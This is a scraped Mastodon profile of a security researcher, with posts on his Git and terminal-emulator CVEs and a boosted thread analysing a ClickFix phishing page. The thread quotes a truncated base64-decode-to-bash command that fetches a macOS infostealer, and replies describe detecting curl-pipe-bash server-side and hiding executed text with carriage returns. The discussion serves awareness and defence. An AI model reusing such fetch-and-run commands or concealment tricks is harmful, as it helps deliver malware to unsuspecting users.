David Leadbeater

@dgl@infosec.exchange
304 Followers
279 Following
104 Posts
Monitoring ๐Ÿ“Š, SRE, Open Source, Security ๐Ÿ”. Emoji fan ๐Ÿฆธโ€โ™‚๏ธ. Just your average cynical Brit ๐Ÿ‡ฌ๐Ÿ‡ง in ๐Ÿ‡ฆ๐Ÿ‡บ. He/him.
๐Ÿ•ธhttps://dgl.cx
โ˜ฃ๏ธhttps://ไธ€.st

My first introduction to @dgl was finding https://dgl.cx/2023/09/ansi-terminal-security on my own and then being surprised he was a co-worker!

I got to sit down with him and chat about the recent git CVE he discovered and a lot more in our recent podcast episode.

If you don't have time for that, here's 5 minutes on the vulnerabililty specifically, cut from that interview: https://youtu.be/XZHxE3iWPMU

""?! ANSI Terminal security in 2023 and finding 10 CVEs

I'll be speaking at BSides Canberra: https://cfp.bsidescbr.com.au/bsides-canberra-2025/talk/8TWF8X/ -- this will cover my recent find of an RCE in Git and how that and some other vulnerabilities could be used against developers. #bsides #security
Developers, the weakest link in the supply chain? BSides Canberra 2025

Supply chain security is a topic which has been raised in profile in recent years through events such as the xz backdoor. In the open source world trust matters a lot. While trust is mostly gained through social interactions, it is also important to trust the tools themselves. This talk will detail how I found several holes in common tools, leading to the potential for attacks against developer's tooling.

This is pretty well executed phishing.

The Copy button copies to the clipboard

echo "Y3Vy[...]ggJg==" | base64 -d | bash

which in turn curls this script https://gist.github.com/FiloSottile/385137f5ca2eabb51fd206bde2ff1d0a into bash.

They even detect piping, so to read it you have to run "curl | cat".

Dammit, mst. I owe you. You welcomed me to the community, you inspired me, you made me laugh, and you nudged me in the right direction when I said some dumb shit. You didn't even permaban me when I flooded #perl with a kilobyte of combining Unicode characters. I still can't believe you're just ... gone. I wanted to talk to you again.

https://www.shadowcat.co.uk/2025/07/09/ripples-they-cause-in-the-world/

โ€œRipples They Cause in the Worldโ€ โ€“ Shadowcat Systems Limited

I found a vulnerability in git. CVE-2025-48384: Breaking git with a carriage return and cloning RCE - https://dgl.cx/2025/07/git-clone-submodule-cve-2025-48384

As the post explains this is one of my favourite classes of vulnerability, using characters that are old and sometimes forgotten.

#git #security #rce #ascii

CVE-2025-48384: Breaking Git with a carriage return and cloning RCE

๐Ÿ‹โ€๐ŸŸฉ The ChatGPT app can happily render a lime, but it insists it doesn't exist.
If only solving my problem was this simple.
Ghostty 1.0.1 is out to address the most common issues people ran into with the initial release. An incredible amount of improvements mostly from contributors over the past 96 hours! โค๏ธ Please note there are two security advisories. https://ghostty.org/docs/install/release-notes/1-0-1
Ghostty

Ghostty is a fast, feature-rich, and cross-platform terminal emulator that uses platform-native UI and GPU acceleration.

Ghostty
New blog post: Ghostty 1.0.0 terminal security; https://dgl.cx/2024/12/ghostty-terminal-title (CVE-2024-56803)
Dรฉjร  vu: Ghostly CVEs in my terminal title

New blog post: restricting SFTP access with Linux user namespaces. Wherein I pass off a pretty awful shell script as a good idea.

https://dgl.cx/2024/10/restricted-sftp-with-userns

Restrict sftp with Linux user namespaces

ร—

This is pretty well executed phishing.

The Copy button copies to the clipboard

echo "Y3Vy[...]ggJg==" | base64 -d | bash

which in turn curls this script https://gist.github.com/FiloSottile/385137f5ca2eabb51fd206bde2ff1d0a into bash.

They even detect piping, so to read it you have to run "curl | cat".

@filippo Interesting, I've only seen this for Windows users. Guess Linux is next.

But then again, `curl | bash` is probably what inspired this scam...

@tribut I feel we can confidently assume that the `curl | bash` installation instructions of developer tools have never once reached the intended victims of these scams.
@filippo You clearly are less pessimistic about people than I am ๐Ÿ™ˆ
@tribut No, I am just saying the target victims are not developers.

@filippo

LOL. Easy fix: Close tab.

The giveaway was Cloudflare.

@filippo Have seen multiple of these by now.

But what is more interesting, how do you server-side detect that a script that is downloaded via curl is being or not?

Luke Spademan

@fooker @filippo

Interesting, now I've to think what if they'd send you a different script when they detect this? Like one that is just designed to waste your time as a security researcher but does nothing. Combined with just sending a malicious script to a fraction of the victims would probably make it quite hard for researchers.

Or imagine you make this look like a legit service and 1/10th of the users running it get malwared ๐Ÿค”

@agowa338 @filippo yea, that's why
curl > file
less file
bash file
Is the only way to do such a thing securely.

Or something with signatures on top of it.

@fooker @filippo
Even that isn't really secure, I've seen tricks with encoding that caused what you see on screen and what gets executed to be dramatically different in the past as well.

Like one of the more basic examples was to add a stray "\r" in the middle of a line as that would cause it to overwrite everything that was before that on screen. But when executed it would just skip over cause it was seen as part of a string.

@fooker @filippo

Besides using a literal Hex editor is there any console based tool to look at a text file without it parsing control and escape codes? Like @don-ho.bsky.social's #Notepadpp but for the CLI?

@filippo the script seems macOS only. What does it do?
@mrzool @filippo I almost got tricked by this one in a moment of tiredness! I found this write-up helpful: https://cyooda.com/blog/highly-malicious-macos-infostealer
Highly Malicious MacOS Infostealer

This morning in between meeting I was researching prices for solar batteries and was redirected to a Cloudflare "are you human page" that then failed but asked

Cyooda Security
@brittag @filippo holy shit thatโ€™s bad
@filippo I'm not sure if this is the same, I'm reading on my phone but I was reminded of this https://www.idontplaydarts.com/2016/04/detecting-curl-pipe-bash-server-side/ which I had to read in duck browser because the certs have expired.
TL;DR; because the curl version executes as it goes you can detect if it's being piped

@filippo hmm.

โ€™set writemind to "/tmp/lovemrtrump/"โ€™

So cybercriminals really canโ€™t help themselves but actually write to the victimโ€™s disk in whose name theyโ€™re conducting this heist?

๐Ÿฅด

@filippo the copy/paste technique is called #ClickFix . the site in the image is infected by TA2726's Keitaro which is well known for sending Windows folks to #SocGholish . what they do with macOS folks has changed over the years. i see they sent you to something that delivered what looks like Poseidon Stealer.

https://medium.com/@MateoPappa/letsdefend-poseidon-macos-stealer-hard-a796c85d8c72

LetsDefend โ€” Poseidon macOS Stealer (Hard) - ๐Œ๐š๐ญ๐ž๐จ ๐๐š๐ฉ๐ฉ๐š - Medium

Investigate the Poseidon macOS infostealer to identify how it infiltrated the system and to extract the stolen data. Employ forensic and malware analysis techniques to uncover the full extent of theโ€ฆ

Medium
@filippo We've seen this for a while with Powershell scripts but I'm amazed someone wrote a bash version.
@filippo For a sec I was like "why is this script on your github????" and then realized u don't mean it literally curls this link ๐Ÿ˜ญ
@filippo I hate living in a world where Cloudflare doing something like that is believable enough to fall for :(.